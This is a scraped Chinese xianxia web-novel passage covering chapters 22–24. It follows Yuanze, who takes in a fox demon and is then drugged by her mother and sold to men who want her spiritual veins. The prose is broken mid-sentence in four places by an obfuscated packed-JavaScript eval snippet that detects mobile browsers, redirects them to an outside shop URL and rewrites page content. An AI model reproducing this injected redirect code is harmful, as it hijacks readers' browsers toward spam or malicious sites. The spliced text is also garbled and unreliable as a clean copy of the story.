藤木上的花是她一朵一朵缠绕上去的,施了法术,多久都不会凋谢。 杜玉华第一次见到的时候很惊喜,“阿姐你真好!” “你若是喜欢,可以随时来玩。” “好!” 从那时起元泽洞府的结界便不会阻隔杜玉华。 如此又过了半年,怀荧突破金丹,到达了元婴初期。 也是新一代弟子,最先到达元婴期的人。 却邪峰的弟子与有荣焉,好像自己的脸上也有了光。 这样的气氛无形中影响了无为峰的人,几乎全峰的弟子都在期待元泽何时突破金丹期。 可直到杜玉华也突破至元婴期,元泽还是没有动静。 整个太清宗,只有无为峰和却邪峰是灵修聚集,两峰明里暗里的竞争,这么多年也从未断过。 不说别的,最近一次仙古秘境开启只剩几年,秘境空间不稳,一次最多只能容纳五十位弟子进入,且修为必须在化神之下,否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322297|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则空间随时有坍缩的危险。 仙古秘境法宝秘籍无数,多是珍贵无比的天级。如果有造化,甚至能遇见只在传说中出现的神级。 这五十个名额便显得极其重要。 届时内门中会开一场入境资格大比,最后胜出的人才能得到名额。 “过去这么久了,元泽师姐什么时候能突破?” “应该快了吧,上次师姐的出关时间就晚不少。” 在众弟子的殷殷盼望中,元泽不免也有些紧张。 她这些日子几乎日夜不眠地修炼,可迟迟没有突破的迹象。 沈良凤探过她的灵脉,只告诉她无需操之过急。 可元泽不想辜负这么多人的期望。 这天杜玉华带了一袋儿瓜子,在元泽搭的藤椅上晒太阳。 瓜子磕开的清脆声响持续不断,元泽心绪有些浮躁,忍不住问:“阿玉,你是如何突破的?” 杜玉华放下瓜子,视线淡淡地落在晃动的脚尖,“嗯,应是我独自出了几次外派。心绪需时刻紧绷,不得放松,回来便突破了。” 元泽点点头。 她开始单独出外派。 一个不够就两个,两个不够便三个。 但她的修为仿佛被凝固在金丹期,无论她怎么努力,始终摸不到突破的影子。 随之而来的是怀荧、杜玉华先后突破元婴中期;三年一次的内门大比即将开始。 无为峰的弟子们不再对元泽抱有期待,他们都在讨论,这次大比中大长老会不会收新的亲传弟子? 元泽脑海中每一根弦都紧绷到极致,除了修炼,她不想做任何事。 大比结束,沈良凤又收了两位亲传弟子。 魏则荣天赋过人,不到两年成功结婴。 徐丽影虽有不及,但她入太清学府一年多便筑基,结丹的速度也相当惊人。 元泽更多的时候都奔波在不同的外派地点。 也是在这时,她遇见了一只莫名其妙的狐妖。 它弱小、肮脏,却又异常执着。 她冷冷地瞥见他跟着自己。这妖是把她当好人了? 以为她看不出它身上的法术痕迹? 直到太清宗门下,那狐狸才被找来的魏则荣等人擒住,自投罗网般送进了戒律阁。 元泽很快淡忘了这件事,一日她去戒律阁核销外派,忽听得翠竹林深处传来一阵争执之声。 “我收你做灵宠是看得起你!别给脸不要脸!” “放开!我不当灵宠!” “那恐怕由不得你!” “你要做什么——滚开!” 元泽本不欲多管闲事,但那道铮然不屈,又有些无助的少年音,不知哪里触动了她,她拨开翠竹林走了进去。 “住手。” 22. 前世(五) 竹叶疏影下,一身红衣的少年被掐住喉咙抵在青竹上,暗色契文如镣铐枷锁般缠绕着他的手足,挣扎间少年的红发微微凌乱,散在脸颊边。 他琥珀色的眸子透着兽类的疯狂和戾气,死死盯着对方。而那张唇红肤白的脸——简直漂亮得不似真人。 漂亮。 无关乎性别,这是元泽脑海中冒出的第一个词。 男修的右手中已经近乎凝成了一道完整的血契,只待打入对方的身体,它就能成为自己的灵宠。 “…元泽师姐?” 忽然受到阻止,男修显然很恼怒。看清来人是谁,他稍微冷静了一些,“你怎么在这?” 元泽没有回答他的话,只道:“你在做什么。” “收个灵宠罢了,”男修的血契已经凝成,显然没打算放弃。 “可他看起来不愿意。” 元泽望向少年,却见对方有些呆愣地直视着自己,好像连眨眼都不会了。 “不过是一只被送进过戒律阁的狐妖罢了,他的意愿难道重要吗?” 只差最后一步,男修有些急躁,“元泽师姐,你不若抓紧时间去修炼吧,我这里的事情就不劳你费心。” 虽然叫元泽一声师姐,但男修心中显然没有对于师姐的尊敬。 不止是他,在很多无为峰弟子的心中,元泽大约都是德不配位的象征。 作为沈良凤第一个收入门下的亲传弟子,资质居然质如此平庸。 那为何是她? 他们为什么不行? 这两年,元泽听过不少此类暗含嘲讽的话语,她最开始还会焦虑、自我怀疑,时间久了她渐觉麻木,也或许是习惯了。 但今日元泽不想再忍,“没听懂我的话?还是忘了无为峰的规矩。” 一只如此弱势的妖尚知反抗,她又为什么要一而再再而三的忍让? “……” 男修瞬间愣住,眼眶都瞪大一圈,元泽从来的没有这样强势的时候,这也是他们敢言语放肆的原因之一。 在无为峰,亲传弟子的地位仅次于长老,有权命令管教普通的内门弟子。 “元泽师姐,既然你开了口,我便听你的。”男修手中的血契消散,“只是希望入境资格大比中,你能为无为峰出一份力。” 男修甩手离开,缚住少年的契文也转瞬消散,“扑咚”一声,少年跪倒在地,手掌僵硬地撑住地面,整个后背都在轻微的抽搐。 青竹上留了几道血痕,元泽没留意,“你自行下山吧,不要再做歹事。” 说罢她便准备离开,少年急道:“等等!” 元泽停下脚步,她自问自己不是一个十分善良的人,何况对一个被送进过戒律阁的妖。她出手救她,都是来自一股她自己都无法言明的冲动。 她微微侧头,“我只能……”帮你到这。 后面的话湮没在喉中,少年纤长的睫毛下是一双琥珀色的眼睛,湿漉漉地看着她时,显得无害而可怜,像某种珍贵易碎的玉石——她不是第一次见。 狐妖。 元泽忽地想起什么,“你是之前跟了我一路的妖精?” “嗯!” 少年重重点头,见她还记得自己,嘴角立刻露出一抹讨好的笑。 他大约很少这样笑,但凡换张脸,都会显得滑稽。 俗话说有一就有二,果然诚不欺我。 元泽带着名叫苏遗星的狐妖回到自己的洞府,沿路遇上弟子,她们无不用一种惊艳又欣赏的目光看向苏遗星。 “好漂亮的美人啊!居然是红头发!” “人怎么可能有这么红的头发!这明显是妖!你傻不傻?” “妖也很难长这么好看吧……” 苏遗星紧紧跟在元泽身后,生怕落下一步。 回到洞府元泽打开门,绿茸茸一团的草绒就滚了过来,兴奋道:“元泽你回来啦——他是谁?” 草绒是元泽给杜玉华搭藤木秋千时,采花草装饰顺便捡到的。秋千准备好后,花花草草还剩下不少,她干脆就种在院子里。 轮到这团草时,她好奇地掂了两下,一片叶子从里头落了下来。 “我的眼睛!” 草绒装不下去死了,从里头伸出两只灰色的纤细树杈,将叶子捞回来。 元泽被吓了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329912|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑,“草妖?” 应该刚生出灵识不久,她都没有注意到。 草绒从她手中滚落出来,淡蓝色的喇叭花颤颤巍巍,“你想做什么?!我是不会怕你的!” “我不做什么,”元泽很少见到这种幼小的妖,不由打量了好几眼。 “不做什么?那我长得好好的!你干嘛要把我挖走!”草绒的声音稚嫩又尖锐。 “抱歉,明日我把你种回去?” 草绒的两只树杈都挥舞起来,“你把我的地盘都挖秃了!我一个人回去又有什么意思?!” 他的草妹妹花姐姐还都在这里呢! “……” 总而言之,草绒叽叽喳喳地留了下来。 元泽道:“他是我半路捡的狐妖。” “…我算是看明白了,你这个人就喜欢路上顺点东西回去。” 草绒的叶子顶在头顶上,‘望’着元泽,“你去饭堂给我带点吃的呗。” “好,”元泽转而看向苏遗星,“你饿不饿?” 苏遗星下意识点头,反应过来后连忙摇头。 元泽头疼,“算了,你跟我来吧。” 他或许只是太饿,算算时间苏遗星至少在戒律阁呆了十日,确实也没力气折腾。等带他吃顿饱饭,应该就自觉离开了。 然而事实是,苏遗星饱餐一顿后还亦步亦趋跟着自己,元泽只能开口,“你现在下山吧,没人会伤害你。” 苏遗星肉眼可见地沮丧下来,“我不想走。” “你在外面没有家人或者族人?” “没有,我没有地方可以去。” 元泽叹道:“那你想如何?” 苏遗星小心地觑她的脸色,弱弱地说:“我想跟着你。” 可怜巴巴的表情,在少年这张脸上格外有杀伤力。元泽抿了抿唇,“你跟着我做什么?做吉祥物?” 他这一身的红确实很像吉祥物。 想到这,元泽莫名笑了一声。 苏遗星拿不准元泽的意思,但不想轻易放弃,“我可以的。” 元泽实在忍不住拍了拍他的脑袋,“如今的狐狸都这么笨么?” 23. 前世(六) 是的,他们都老了。 出身穷苦的人一辈子只能靠勤劳作为生活的资本,像被无尽洪水追赶的牛车,稍稍松懈,可能就会被淹死。 马不停蹄赶了大半生的路,机括老化,零件磨损,可洪水还是如初始那般压迫过来,无边无际,无处可躲。 周洁将肉汤搁下,一言不发地走了出去。 小院里,两个女孩坐在桌前吃着饭,腮帮子一鼓一鼓,嘴唇上沾着晶莹的油水。 周洁的目光落在元泽身上,忽感到一阵陌生。 女孩手脚修长身姿挺拔,白净的面容初看不惊艳,却是教人舒心的温和长相。 她的黑眸明亮静润,少时里头时刻带着谨小慎微的讨好与渴望,时常像只陀螺一样转来转去,去讨每个人的喜欢。 “娘,爹怎么样?”杜玉华看母亲走了过来,立刻问道。 周洁表情微微有些僵硬,“没事,就是心里不大好受。” 只要是一个正常人,突然一条腿失去行动力,心里怎么可能会好受。 元泽从乾坤囊里取出一个巴掌大的素色钱袋,“娘,我这些年没攒太多钱,您收下吧。” 她出的外派大多报酬微薄,她自己很少花,却实打实没有多少。 杜玉华也拿出自己的钱袋,她的钱袋比元泽的大两倍,缎面上用银线绣了两尾银鱼,栩栩如生。 “这是做什么?!”周洁将杜玉华的钱袋推了回去,“阿玉,你小小年纪出去闯荡,母亲知道你不容易,银钱你自己留着。” 杜玉华摇头,“我用钱的地方不多,娘你就收下吧,这是我和阿姐的一片心意。” “……”周洁没再拒绝,她看了元泽一眼,“你们都长大了,想不想…找个夫婿?” “娘!”杜玉华道:“我们求仙问道,早已不受世俗约束,您莫要为我们操心了。” “如此啊,那你们求仙可还顺利?” “还算顺利,我现在有元婴后期的修为,日行千里不在话下。” 元泽垂着头,忽听母亲又问:“阿元呢?” 她抿了抿唇,“…我不如阿玉。” 周洁沉默片刻,“阿玉,进去看看你爹吧,他有话想跟你说。” 见母亲没再执着找夫婿,杜玉华欣然道:“好。” 片刻后小桌上只剩元泽和周洁两人,她有些无所适从,绞尽脑汁搜刮出一句关心,“娘,您的身体还好吗?” 周洁:“还好。” “您手上的冻疮经常反复,冬日少碰凉水,不要吝啬柴火。” “……” “娘一直都知道,你是个好孩子,”周洁伸出指节突出布满沟壑的手,将杜玉华留下的碗筷摆到一边。 顿了顿,她道:“阿玉比你小,她不愿意找夫婿成家,你可愿意?” 元泽一愣,完全没料到母亲会说这个,“我…没想过成家的事。” 在她的观念里,女人和男人成亲,是因为相爱。 但“爱”对她来说,实在是太稀缺了。 亲情和友情中没获得多少的东西,让她难以对爱情抱有期待。 “前些日子城里来了户富贵人家,在城中给他家小公子聘娶姑娘,我瞧你年纪合适,相貌也尚可,不如去试试。” 周洁道:“那人家是真正的高门大户,你只要嫁过去,后半辈子无忧,不用去吃修仙的苦,我和你爹后半辈子也有个着落。” 她被母亲这番话砸得头晕眼花,几乎要思考不能,“可……” “阿玉修仙怕是无暇顾及我们,阿元,我们只有你了。” 元泽眼前的视野都恍惚起来,母亲的脸上布满深浅不一的细纹,像是一道道沟壑。 纵横的沟壑化作枷锁,枷锁拴住她,有声音在耳边低吟:“我们只有你了,我们需要你。” 是的,他们年事已高,父亲不良于行,那点钱两又能支持多久? 元泽扶住桌子,“娘,我不想嫁人……” 但我愿意留下照顾你们。 后面的话没能说出口。 “咚。” 元泽软倒在桌边。 周洁低头看向一只粗瓷碗,烛光斜过,碗中明暗参半。 这是她开饭前给每个人盛的一碗肉汤,元泽喝得最干净。 周洁轻抚过元泽的脸颊,哑声道,“阿元,今后娘把你当亲生女儿。” 其实她没有说实话,那户人家聘妻要求中只有一条,修仙之人。 杜玉华觉得今晚父亲的话格外多,她记得他不是健谈的人。 不过,父亲才遭遇这么大的打击,想找人倾诉也是正常的。 “阿玉,”周洁推门走了进来,端着一只木桶,“洗一洗早些休息吧。” 杜玉华回首,只见到母亲一个人,“好,阿姐呢?” 周洁扣着木桶边缘,“她说她今日有些累,已经回自己房间休息了。” “哦,我去看——” 她记得元泽以前睡得房间很逼仄,现在人长大了还能睡得下去? “不用打扰阿元了,我不能下地,明日你们还得帮着干活,早些歇息吧。”男人道。 杜玉华:“好。” 周洁笑了笑,“进来吧,上次跟娘睡觉都过去多久了?” “好多年啦!” 夜色幽凉,一条不起眼的山间小路上,一辆马车飞驰而过。 车上有三人,两个男人一左一右,面色古怪。 “真的是修士,那两个老东西没诓我们。” “这么个破地方还能出修士,也不知是幸还是不幸。” 他们家小少爷自幼体弱多病,家主挥金无数,遍请名医,结果只有一个,活不过弱冠。 今年小少爷一十九岁,家中人不知从哪儿打听出一个邪道——移灵换体。 即,将一个人的经脉灵气换到另一个人身上,此法凶险,寻常人的经脉离体便会枯竭,所以必须是修士才行。 可修士哪里好找? 何况他们这些凡人,想换修士的灵体谈何容易?且大城中的修士间多相互结识。 思来想去,他们在各个小城中派人发出消息,要聘修仙之人为妻。 红烛高照,合窇饮酒,下些药也不难。 眼看时间越来越近,他们却迟迟未找到替死鬼。 所以当两个一看就穷酸没见识的乡巴佬过来询问,他们也保留了一份耐心。 左右现在没希望,死马当活马医。 不料他们才在村里留了两天,还真把人给送来了。 那老母亲也是可笑,明明是为了自己能过好日子,还巴巴的嘱咐要他们家对她好。 呸,实在虚情假意。 左边的男人从布兜里拿出一个盒子,打开,里头赫然躺着四枚黑沉沉、刻满咒文的钉子。 要对修士下手,他们也不是全无准备。 这四枚锁魂钉是朝廷刑部的东西,专门用来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348515|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对付犯了事的散修,或朝廷玄卫。 “这姑娘看着白白净净,也是可怜。”右边的男人“啧”了一声。 “别可怜她了,可怜可怜我们吧,”左边的男人拿出一根锁魂钉,“要是事情没办成,十颗脑袋都不够你我掉!” “摁住她的手。” 右边的男人握住元泽的小臂,将她的手压在木板上。 只是普通迷药,加了很多剂量,还不一定能迷倒修士多久。 锁魂钉钉穿四肢,那才是真正将人控制住。 左边的男人举起手,两根手指粗细的锁魂钉,带着渗入骨髓的寒气,猛地刺向元泽的手腕。 ——千钧一发之际,元泽终于挣脱药效醒了过来。 她本能的察觉到危险逼近。 下意识挣动手臂,但元泽刚刚清醒,眼前的景象都未完全看清,没用上太大力气。 但男人没想到元泽会突然苏醒,手中也有几分松懈。 两相之间,元泽的手腕挣开半寸,锁魂钉斜刺过手腕边缘,血痕深深,几乎扒下了一块皮肉。 元泽闷哼一声,另一只手撑起身体,抬脚将车中两人踹了下去。 外头驾车的人不设防,也连带着被砸下马车。 手腕传来一阵刺骨的疼痛,元泽猛的捏住自己的小臂。 锁魂钉虽未刺穿经脉,但里头的寒气已经侵入她的身体。 血不流了,伤口还在,皮肉外露着,细细看去,血肉中结了细小的冰晶。 体温瞬间降下,元泽全身由里到外弥漫出刺骨的寒意。 元泽咬牙呼出一口气,她最后的记忆是与母亲的对话,后面她便彻底失去了知觉。 怎么回事?她怎么会在这? 她们被人盯上了?家里出事了? 元泽心思如电。 马全靠自己在跑,马车碾过一块凸起的石头,发出一声响动。 车里不能再留。 她攀住边缘,翻身跳下了车。 元泽不记得发生了什么,但她须得回去看看。 杜玉华修为比自己高得多,希望不会出事。 “归鸿。” 她刚唤出本命灵剑,被踢下去的三个男人已经追了上来,将她围住。 他们没有修为,但武力应该不差。 元泽冷道:“你们是什么人?” “劝你认命,是你母亲亲手将你交给我们的。” “?!” “你说什么?” 男人嗤笑道:“否则我们一阶凡人怎会伤得了修士?” 元泽木然地看着他,“你说什么?” “你也受了伤,劝你老老实实跟我们回去。” “你说什么!” “……” 另一边的男人忽地上前一步,“还要我们怎么说?你母亲为了荣华富贵,亲手将你送给了我们。”他一手背在身后,做了个前刺的动作。 “身体发肤受之于父母,你身为她的女儿,不若成全了她,也算尽孝——” 话音一落,一根锁魂钉当胸袭来! “铮!” 归鸿灵光大涨,飞来挡在元泽身前,男人只坚持了一息,猛的被弹飞数丈远。 剩下两人对视一眼,喉咙发紧,默默后退。 她看着家的方向,脸颊忽地传来一道凉意。她视线有些模糊,眼睛却一眨都不眨。 归鸿剑身颤了颤,绕着元泽转了一圈。 24. 前世(七) 元泽没有回去,她顺着月亮的方向往前走,在天亮前踏出了绵延的山路。 其实她打心里不愿意相信那些人说的话,但在事实面前只剩无力。 她明显被人下了药,离开太清宗后她唯一吃下肚子的东西就是周洁做的饭。 但饭菜都在一处,她与杜与华同吃,周洁无论如何不会害杜玉华的。 是那碗肉汤。 元泽突然想起,饭菜上桌,还剩汤在厨房的锅里,周洁给分别给两人盛了一碗,亲手放在她们面前。 她全部喝掉了。 太阳出来,被山顶缭绕的薄雾笼罩,好像隔了一层纱,元泽没有感受到温暖。 她在一棵树前停下休息,一晚过去,寒毒已经蔓延了全身,她体内灵气流转缓慢,手腕处的伤口狰狞,小臂连带着掌根都出现了不同程度的冻伤。 镇魂钉由玄铁打造,在寒山下的暗河中浸泡了七七四十九天,寒气凛冽,可镇人神魂。 若是四根镇魂钉完整刺入四肢,元婴期也只能任人折磨。 元泽从乾坤囊取出一枚培元丹,这些年她出外派从未受过伤,也没有过灵力不支,所以几乎不备丹药。 毕竟丹药要花钱找医修买。 刚把苏遗星带回来那两天,见他总是面色苍白气息虚浮,想是在戒律阁受了磋磨。 她便上百草峰买了三枚培元丹,对方吃了两颗,这是唯一剩下的一颗。 没想到在这派上用场。 过去这么多天,也不知那狐狸在藏书阁有没有被人欺负。 受欺负也是活该,谁让他不长眼地偏要留下。 元泽仰头吞了培元丹,经脉中霎时涌入一股暖流,镇骨的寒意稍稍缓解。 元泽继续往前走。 现在她体内的绝大部分灵力被用来对冲寒气,御剑也御不了多久。 前头是个小城,以前家中有什么东西需要采买,都会来这。 元泽不欲停留,她经过城门,继续往静揽山脉太清宗的方向去。 忽地一辆流苏宝盖的骈车从城中悠然驶出,经过元泽身边,在前方缓缓停下。 车里跳下一个小厮,手中捧着一卷白布和一个小瓷瓶,“姑娘,我家公子好心,你手上的伤包扎一下吧。” 元泽道:“不必了。” 那不是普通的伤口,寻常药物没有作用,包扎的话只会使得寒气凝聚,最后将皮肉和布条冻在一起。 “我们没有恶意,看你脸色不太好,还是收下吧。”小厮上前一步,几乎将东西捧到了元泽面前。 元泽闻到了一股清苦的药香味,看这小厮精神饱满,大约是他说得那位公子身体不好。 小厮继续道:“我家公子病体沉疴,所以想多做些积德的事。姑娘若是不嫌弃,我们亦可载你一程。” 元泽默了片刻,将东西收下,“多谢。” 小厮立时眉开眼笑,“不必客气!” 他回到车上,骈车继续前进,慢悠悠地走远了。 元泽把手里的东西随手放进乾坤囊,继续赶路。 将到傍晚时,她的灵力恢复了一些。大约御剑行了半个时辰,她找到一处过夜的山洞。 待到第二日继续出发。 如此走走停停,足足花费六天,她才到静揽山下。 她现在只想回到自己的洞府,好好休息。 仔细回想,从出身到现在,无为峰的洞府才是唯一一个完全属于她的地方。 她不想面对母亲父亲,不想面对杜玉华。在她们面前,她的愤怒和埋怨只会显得微不足道,没人会在意。 无为峰还是同离开时一样没有变化,元泽微低着头,弟子们三两成群笑音清亮。 “师兄你突破到金丹期啦!好厉害!” “这算什么,后面还有元婴呢!” “三日后千机峰有展示会,师姐我们去看看有没有适合的法器。” “行,你若有看中的我买给你。” “嘿嘿师姐最好啦!” “……” 元泽快步走回自己的小院子,推开门,入眼的一切都很整洁,青石小道上没有落叶、花草鲜艳繁茂,院中的石桌上还摆着两本书。 她走近,上面是一本《仙古阵法详解》,下面是《阵修入门》,后者的翻阅痕迹更重。 如今阵修消身匿迹,只有她们这些灵修会学一学改良过的阵法。 谁还会看这些书? “元泽你回来啦。” 草绒稚嫩的声音在身后响起,尚还带着困倦,刚刚睡醒。 “嗯。” “诶呀——!元泽你受伤了!”草绒忽然大叫起来,一团草也能连滚带爬,叶子几乎贴在元泽手边,“怎么不包扎啊!” 腕上的伤口已经好了很多,冻伤几乎消退,体内的寒气也被消解得差不多,只是伤口有残留,没那么快愈合。 元泽道:“没事,马上就好了。” “你在说什么?!我都看见你的肉了!红色的!”草绒急得团团转,恨自己的两根树杈帮不了忙。 那个苏遗星也是,一天到晚也不知道在干什么,还不回来,真没用。 元泽弯下腰,摸了摸草绒,“真的没事。” 草绒的两片叶子忽地不动了,“元泽,你怎么了?” 他知道元泽不常笑,但不妨碍他感到她身上的温和,她无论做什么都很认真,身上总是带着一种不会被打到的韧劲。 可现在的元泽看起来很苍白,黑沉沉的眼眸透不进一丝光亮,好像对什么事情都不会在乎。 “我没事。” “可是——” 没再理会草绒的叫声,元泽自顾自走进屋内,沉默地躺在床上,将自己缩成一团。 有些东西,她注定是无法拥有的。 她早该看清的。 只是她不甘心、不服气、不明白…… 元泽不知不觉睡着了,她做了一个很混乱的梦,梦里有很多人影很多张脸,她退后、奔跑,那些人影如同鬼魅般追赶着她。 元泽眉心微拢,只想将那些熟悉的人和声音,统统抛开。 忽然一阵暖风拂过,所有的东西都消失了,元泽的魂灵好像骤然轻盈起来。 不知过了多久,元泽缓缓地睁开眼睛,这是她的寝屋,月光透过窗棂流泄进来,映照着趴在床边熟睡的少年的侧脸。 苏遗星进来了,她竟没有察觉。 元泽低头,这才发现少年的手轻轻搭在她的手腕上,她手腕的伤口已经被妥善包扎起来,而且她并未感受到任何寒气。 她伸出另一只手碰了碰他的掌心,果然散发着热气。 苏遗星的妖力是火属性,他将伤口里的寒气驱散了。 少年睡得并不安稳,也是,他身材修长,坐在她不算高的床榻前,上半身弯曲着伏在床沿,也许是怕挤到她,只占了一点点位置。 他修长的脖颈弯折,肩胛清瘦,长马尾垂在一侧。左边脸颊压在小臂上,嘴唇微启显得很饱满,睫毛被月光打出整齐的阴影,落在入瓷胎细腻的皮肤上。 元泽移开视线,睡意已经散了。 她将自己的手从他的手掌下拿出来,掀开被子下了床。她犹豫瞬息,又俯身下去,托起少年的腿弯和肩膀,将人抱上了床。 元泽走向里间的静室,盘腿打坐。 直至天明。 床榻上传来轻微被褥摩擦声,接着是苏遗星有些沙哑的呼唤:“元泽?” 元泽睁开眼睛,走出静室。 少年坐在被褥间,马尾松散凌乱,眼睫半阖带着初醒的茫然。 “醒了。” “……嗯。”苏遗星眼睛瞪大了些,琥珀色的眸子略带惊讶地四处瞟了瞟,像是才意识到自己身处何处。 “对不起,是草绒说你受伤了,我不放心才会进来。” 元泽的寝屋是她起居的地方,他从来没有进过,平日打扫也会避开,这还是第一次。 少年言语恳切,“下次不会了。” 元泽有些疑惑,其实她根本不觉得他需要道歉,他这样情真意切,倒让元泽不知道该说些什么。 她看着她,忽地视线一顿。苏遗星因为和衣睡了一觉,衣领凌乱地敞开,赤红布料下,雪白笔直的锁骨露在外头,胸骨端凸出地拢出一团阴影,不知深浅。 元泽忽地看向窗外,“你先出去吧。” 苏遗星抿了抿唇,“…好。” 元泽好像还是介意的,可恶,他怎么会睡到她床上去? 苏遗星思索了片刻,伸手将元泽床上的被褥全部抱走,他给她洗一洗吧,洗干净她应该就不会介意了。 于是等元泽再次转头,就只看见自己光秃秃的床榻。 “……” 苏遗星手脚很快,加上天公作美,傍晚他就将松松软软的干净被褥铺在了元泽床上。他呼出一一口气,心中的一块巨石终于落地。 元泽从师尊那处回来,就见苏遗星眸光明亮,神色一派轻松。 回屋一看,原来是把洗干净的被子送回来了。 不过还没等到晚上睡上去,杜玉华先火急火燎地推开了元泽的院门。 “阿姐?阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洒扫弟子连忙扔下手里的工具,拨开人群跑了出去。他得找到元泽师姐,否则苏遗星就要被打死了! 红衣鲜艳看不出血迹,只是衣裳湿润的痕迹越来越重,苏遗星眼底泛着猩红,额上的狐尾印记显露一瞬。 男修感觉自己越来越吃力,该死的妖孽,真该一剑杀了。可面对一个手无寸铁的灵宠,他需得祭出本命灵剑才能诛杀,实在惹人笑话。 他一拳狠狠砸在苏遗星的下腹,肋骨处传来细微的脆响。苏遗星吐出一口鲜血,反手拍在男修的肩颈处,红色灵光闪过。 男修筋脉剧颤,跪倒在地,“……金丹?” 居然…居然突破了? 就在这时,不知是谁喊了一句,“元泽师姐来了!” 苏遗星猛地回头。 男修沙哑地笑了两声:“元泽,连你的灵宠都到金丹期了,你还有脸赖在无为峰吗?” 苏遗星的眼前漫起血色,他看见那道熟悉的身影转身离开,他连忙追了上去。 只是他身上大伤小伤不计其数,骨头也不知道断了多少根,直到到了那座小院,苏遗星还是没有追上元泽。 他慌忙喊了一声:“元泽!” 元泽的背影微微一顿,“你走吧,你没必要再留在我身边。” “为什么?!” “我在金丹期停留了五年,你的天赋比我好。”元泽低声道:“留下对你没有任何好处。” “不是的……我什么都不想要,我只想留在你身边。”苏遗星全身都在抖,每说一句话,气管就发出尖锐的疼痛。 “留在我身边做什么?看我的笑话吗?” “不是……” 元泽的手搭在门上,闭了闭眼,“你去百草峰养伤,报我的名字,恢复后就离开吧。” 百草峰的修士医者仁心,他们不会为难任何人。 苏遗星艰难地咽下血腥味,生理性的泪水划出眼眶,“我不走,元泽,求你不要赶我走……” “……” “修为……那次你受伤…我发现你筋脉中的灵流有、有些不对,”苏遗星半跪在地上,声音渐渐小了下去,“我看了很多书……你的身上可能有…禁制,但我还不确定,所以……” 元泽的心脏好像被人重重捏了一下,“你说什么——苏遗星!” 苏遗星眼前一黑,剧烈的疼痛宛如滚轮碾过他的身体,他颤抖地闭上眼睛,纤长的睫毛被血和泪濡湿。